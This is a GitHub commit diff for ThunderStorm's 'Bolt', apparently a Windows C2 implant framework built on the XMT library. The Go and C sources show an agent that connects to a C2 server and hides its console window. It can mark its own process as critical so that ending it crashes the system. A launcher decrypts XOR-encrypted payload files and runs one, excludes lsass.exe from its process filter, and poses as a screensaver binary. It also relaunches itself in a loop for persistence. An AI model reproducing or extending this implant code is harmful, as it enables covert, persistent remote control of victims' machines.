Skip to content

Commit

Permalink
Updates to thunderstorm for XMT compatibility
Browse files Browse the repository at this point in the history
  • Loading branch information
iDigitalFlame committed Nov 13, 2021
1 parent f429714 commit a5fbe99
Show file tree
Hide file tree
Showing 17 changed files with 2,085 additions and 1,395 deletions.
4 changes: 4 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,10 @@ bolt/build.py
bolt/resources
bolt/sources/xsupport

.bolt-cfg
.bolt-cfg.bak
.bolt-cfg.old

# Binaries for programs and plugins
*.exe
*.exe~
Expand Down
152 changes: 94 additions & 58 deletions bolt/bolt.go
Original file line number Diff line number Diff line change
@@ -1,124 +1,160 @@
// Copyright (C) 2021 iDigitalFlame
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//

package bolt

import (
"context"
"os"
"os/signal"
"syscall"
"time"

"github.com/iDigitalFlame/xmt/c2"
"github.com/iDigitalFlame/xmt/c2/cfg"
"github.com/iDigitalFlame/xmt/cmd"
"github.com/iDigitalFlame/xmt/com/limits"
"github.com/iDigitalFlame/xmt/data/crypto"
"github.com/iDigitalFlame/xmt/device/devtools"
"github.com/iDigitalFlame/xmt/man"
"github.com/iDigitalFlame/xmt/util"
)

// LaunchService will start the supplied function as a Windows service instead of directly launching it.
// Service will start the supplied function as a Windows service instead of
// directly launching it.
//
// It will be run once on startup and after every 'd' timeframe.
func LaunchService(d time.Duration, f func()) {
func Service(d time.Duration, f func()) {
if d < 0 {
return
}
(&devtools.Service{Start: f, Exec: f, Interval: d}).Run()
}

// Boot will bootstrap and start a Bolt.
// Start will bootstrap and start a Bolt.
//
// The initial boolean will determine if this will respect the Global bolt
// Guardian (if guard is not Empty). If true, this bolt will exit if another Guardian is currently running.
// The two strings 'server' and 'guard' control the connection to ThunderStorm. If 'guard' is empty, this
// Bolt will ignore and will not attempt to configure a Guardian. The byte array provided is the C2 profile specified
// and will determine how the Bolt connects to ThunderStorm.
//
// This function does NOT return any values and WILL BLOCK while running. If 'server' or the config byte array
// are empty, this function fails and returns instantly.
func Boot(x bool, server, guard string, c []byte) {
BootEx(x, guard, server, c, nil, nil)
// Guardian (if guard is not Empty). If true, this bolt will exit if another
// Guardian is currently running.
//
// The two strings 'server' and 'guard' control the connection to ThunderStorm.
// If 'guard' is empty, this Bolt will ignore and will not attempt to configure
// a Guardian.
//
// The byte array provided is the C2 Profile Config specified and will determine
// how the Bolt connects to ThunderStorm.
//
// This function does NOT return any values and WILL BLOCK while running. If
// 'server' or the config byte array are empty, this function fails and returns
// instantly.
func Start(x bool, server, guard string, c []byte) {
StartEx(x, guard, server, c, nil, nil)
}

// Launch will start the process of locating and triggering a Guardian.
// If a Guardian is not detected, this function will attempt to start a Bolt instance from the provided
// binary file DB list supplied.
//
// If a Guardian is not detected, this function will attempt to start a Bolt
// instance from the provided binary file DB list supplied.
func Launch(guardian string, files []string, key []byte) {
LaunchEx(guardian, files, key, nil, nil)
}

// BootEx will bootstrap and start a Bolt.
// StartEx will bootstrap and start a Bolt.
//
// The initial boolean will determine if this will respect the Global bolt
// Guardian (if guard is not Empty). If true, this bolt will exit if another Guardian is currently running.
// The two strings 'server' and 'guard' control the connection to ThunderStorm. If 'guard' is empty, this
// Bolt will ignore and will not attempt to configure a Guardian. The byte array provided is the C2 profile specified
// and will determine how the Bolt connects to ThunderStorm.
//
// This extended function call allows for specification of functions to be called before start-up and on completion
// (if not nil).
//
// This function does NOT return any values and WILL BLOCK while running. If 'server' or the config byte array
// are empty, this function fails and returns instantly.
func BootEx(x bool, guard, server string, c []byte, start, end func()) {
var cfg c2.Config
if err := cfg.ReadBytes(c); err != nil {
// Guardian (if guard is not Empty). If true, this bolt will exit if another
// Guardian is currently running.
//
// The two strings 'server' and 'guard' control the connection to ThunderStorm.
// If 'guard' is empty, this Bolt will ignore and will not attempt to configure
// a Guardian.
//
// The byte array provided is the C2 Profile Config specified and will determine
// how the Bolt connects to ThunderStorm.
//
// This extended function call allows for specification of functions to be called
// before start-up and on completion (if not nil).
//
// This function does NOT return any values and WILL BLOCK while running. If
// 'server' or the config byte array are empty, this function fails and returns
// instantly.
func StartEx(ign bool, guard, server string, c []byte, start, end func()) {
if len(server) == 0 {
return
}
p, err := cfg.Profile()
var (
p, err = cfg.Raw(c)
g *man.Guardian
)
if err != nil {
return
}
g, err := man.Guard(guard)
if err != nil {
if x {
if len(guard) > 0 {
if g, err = man.Guard(man.Event, guard); !ign && err != nil {
return
} else if g != nil {
defer g.Close()
}
}
if g != nil {
defer g.Close()
}
s, err := c2.Default.Connect(server, nil, p)
if err != nil {
x, f := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
s, err := c2.Default.ConnectContext(x, server, nil, p)
if limits.Ignore(); err != nil {
return
}
if start != nil {
if limits.MemorySweep(); start != nil {
start()
}
w := make(chan os.Signal, 1)
signal.Notify(w, syscall.SIGINT, syscall.SIGQUIT)
go func() {
<-w
s.Close()
}()
s.Shutdown = func(_ *c2.Session) {
g.Close()
s.Close()
if s.Close(); g != nil {
g.Close()
}
}
s.Wait()
if close(w); end != nil {
if f(); end != nil {
end()
}
}

// LaunchEx will start the process of locating and triggering a Guardian.
// If a Guardian is not detected, this function will attempt to start a Bolt instance from the provided
// binary file DB list supplied.
//
// This extended function call allows for specification of functions to be called before start-up and on completion
// (if not nil).
func LaunchEx(guardian string, files []string, key []byte, start, end func()) {
// If a Guardian is not detected, this function will attempt to start a Bolt
// instance from the provided binary file DB list supplied.
//
// This extended function call allows for specification of functions to be
// called before start-up and on completion (if not nil).
func LaunchEx(guard string, files []string, key []byte, start, end func()) {
if len(files) == 0 {
return
}
if man.Check(guardian) {
return
}
if start != nil {
start()
}
if man.Check(man.Event, guard) {
return
}
var x crypto.XOR
if len(key) > 0 {
x = crypto.XOR(key)
}
for i, f := 0, cmd.F().SetFallback(true).SetElevated(true).SetSession(false); i < 5; i++ {
if _, err := man.WakeFileContext(context.Background(), guardian, files[util.FastRandN(len(files))], x, f); err == nil {
for i, f := 0, cmd.B(true).SetElevated(true).SetSession(false).SetExclude("lsass.exe"); i < 5; i++ {
s, err := man.Crypt(x, files[util.FastRandN(len(files))])
if err != nil {
continue
}
s.Filter = f
if _, err = s.Check(man.Event, guard); err == nil {
break
}
}
Expand Down
17 changes: 16 additions & 1 deletion bolt/sources/agent/binary.c
Original file line number Diff line number Diff line change
@@ -1,3 +1,18 @@
// Copyright (C) 2021 iDigitalFlame
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// ThunderStorm Bolt Agent Binary Runner
// Wraps the Go archive and will control a Bolt Agent
//
Expand All @@ -24,6 +39,6 @@ int main(int argc, char *argv[]) {
if (c != NULL) {
ShowWindow(c, SW_HIDE);
}
boltAgent(argc);
boltAgent(argc, 1);
return 0;
}
38 changes: 31 additions & 7 deletions bolt/sources/agent/bolt.go
Original file line number Diff line number Diff line change
@@ -1,5 +1,23 @@
//go:build windows
// +build windows

// Copyright (C) 2021 iDigitalFlame
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// ThunderStorm Bolt Agent Stub
//

package main

Expand All @@ -8,18 +26,24 @@ import (
"runtime/debug"

"github.com/iDigitalFlame/ThunderStorm/bolt"
"golang.org/x/sys/windows"
"github.com/iDigitalFlame/xmt/device/devtools"
)

var boltUnlock = windows.NewLazySystemDLL("kernel32.dll").NewProc("GetProcessVersion")

func main() {}

//export boltAgent
func boltAgent(i C.int) {
debug.SetMaxStack(256000000)
bolt.BootEx(
func boltAgent(i, d C.int) {
defer func() {
recover()
devtools.SetCritical(false)
}()
if debug.SetPanicOnFault(true); d > 0 {
devtools.SetCritical(true)
}
bolt.StartEx(
i > 1, boltGuardian, boltServer, boltConfig,
func() { boltUnlock.Call(13371) }, func() { boltUnlock.Call(13372) },
nil, func() {
devtools.SetCritical(false)
},
)
}
21 changes: 18 additions & 3 deletions bolt/sources/agent/dll.c
Original file line number Diff line number Diff line change
@@ -1,3 +1,18 @@
// Copyright (C) 2021 iDigitalFlame
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// ThunderStorm Bolt Agent DLL Runner
// Wraps the Go archive and will control a Bolt Agent

Expand All @@ -12,15 +27,15 @@
#define WIN32_LEAN_AND_MEAN

#include <windows.h>

#define STACK_SIZE 256000000
#define STACK_SIZE 512000000*2
#define EXPORT __declspec(dllexport)

// Bolt Include (Generated before compile)
#include "bolt.h"

DWORD beginthread() {
boltAgent(0);
Sleep(10000);
boltAgent(0, 0);
return 0;
}

Expand Down
26 changes: 23 additions & 3 deletions bolt/sources/launcher/binary.c
Original file line number Diff line number Diff line change
@@ -1,3 +1,19 @@
// Copyright (C) 2021 iDigitalFlame
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
//
// ThunderStorm Bolt Agent Binary C Launcher
// Wraps the Go archive and will control a Guardian context.
//
Expand Down Expand Up @@ -29,7 +45,7 @@ int main(int argc, char *argv[]) {
if (argc >= 1) {
// Are we a screensaver binary?
int s = strlen(argv[0]);
if (s >=5 && argv[0][s-1] == 'r' && argv[0][s-2] == 'c' && argv[0][s-3] == 's' && argv[0][s-4] == '.') {
if (s >= 5 && argv[0][s-1] == 'r' && argv[0][s-2] == 'c' && argv[0][s-3] == 's' && argv[0][s-4] == '.') {
boltInit();
return 0;
}
Expand All @@ -39,9 +55,13 @@ int main(int argc, char *argv[]) {
boltMain();
break;
case 2:
while (1) {
if (argv[1][0] == '1') {
while (1) {
boltInit();
Sleep(TIMEOUT);
}
} else {
boltInit();
Sleep(TIMEOUT);
}
break;
default:
Expand Down
Loading

0 comments on commit a5fbe99

Please sign in to comment.